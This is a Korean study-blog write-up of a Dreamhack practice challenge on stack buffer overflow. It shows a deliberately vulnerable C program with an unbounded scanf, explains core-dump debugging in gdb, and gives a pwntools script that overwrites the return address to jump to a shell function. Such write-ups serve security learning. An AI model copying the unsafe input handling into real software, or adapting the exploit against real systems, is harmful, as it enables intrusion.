촉촉한초코칩
[Dreamhack] Return Address Overwrite 본문
rao.c와 rao.py 파일이 있다.
rao.c의 코드를 보며 취약점을 찾는다.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
main 함수에서 scanf함수는 문자열을 입력받는다.
scanf 함수는 문자열 개수를 지정하고 입력받지 않기 때문에 buf의 크기보다 큰 값을 입력할 수 있다.
트리거
트리거를 발생시켜본다.
Segmentation falut : 잘못된 메모리에 접근함
Core dumped : 코어파일 생성 (프로그램이 비정상 종료되었을 때 디버깅을 돕기 위해 운영체제가 만들어주는 파일이다.)
생성된 코어파일을 디버깅해본다. (코어파일은 /var/lib/apport/coredump/ 경로에 있다. ls 명령어를 사용하여 파일 이름을 복사해 gdb로 디버깅한다.)
gdb rao -c /var/lib/apport/coredump/파일명
아무것도 뜨지 않는다면
ulimit -c unlimited
명령어 입력 후 다시 에러 발생
리턴값을 보면 0x414141...의 값이 반환된다.
아스키코드표를 보면 16진수의 0x41은 A이므로 우리가 입력한 값이 overflow되어 리턴값까지 덮어씌워졌다는 것을 알 수 있다.
만약 이 리턴값에 유효한 주소를 덮어씌우면 쉘을 얻을 수 있다.
익스플로잇
main 함수의 스택프레임 구조를 파악해본다.
- push rbp (바닥 먼저 넣기)
- mov rbp, rsp (rsp : 현재 위치 가리키는 포인터 > 현재 위치를 rbp에 넣는다.)
- sub rsp, 0x30
- ....
- lea rax, [rbp-0x30] (반환값 저장할 주소를 저장한다.)
- ...
- leave
- ret (스택 프레임 해제 및 함수를 반환한다.)
구조는 이렇게 된다.
페이로드
쉘을 실행시키려면 get_shell() 함수가 실행되어야 하기 때문에 main 함수의 반환 주소를 get_shell() 함수의 주소로 덮으면 쉘을 획득할 수 있다.
gdb로 get_shell() 함수의 주소를 찾아본다.
get_shell()이 실행되려면 0x38만큼의 A가 들어가고 그 다음에 get_shell()의 주소인 0x4006aa를 넣으면 된다.
x86-64는 리틀 엔디언을 사용하기 때문에 get_shell의 주소를 넣을 때 a부터 넣는다.
파이썬 코드도 가능하다.
from pwn import *
p = process('./rao')
payload = b'A'*0x30
payload += b'B'*0x8
payload += b"\xaa\x06\x40\x00\x00\x00\x00\x00"
p.recvuntil('Input: ')
p.sendLine(payload)
p.interactive()
'Study > System' 카테고리의 다른 글
[Dreamhack] basic_exploitation_001 (0) | 2024.03.31 |
---|---|
[Dreamhack] basic_exploitation_000 (0) | 2024.03.31 |
Bomb Lab Phase 1-3 (0) | 2024.03.24 |
[DreamHack] Quiz: x86 Assembly 2, Quiz: x86 Assembly 3 (0) | 2024.03.17 |
시스템 스터디 정리 (0) | 2024.03.17 |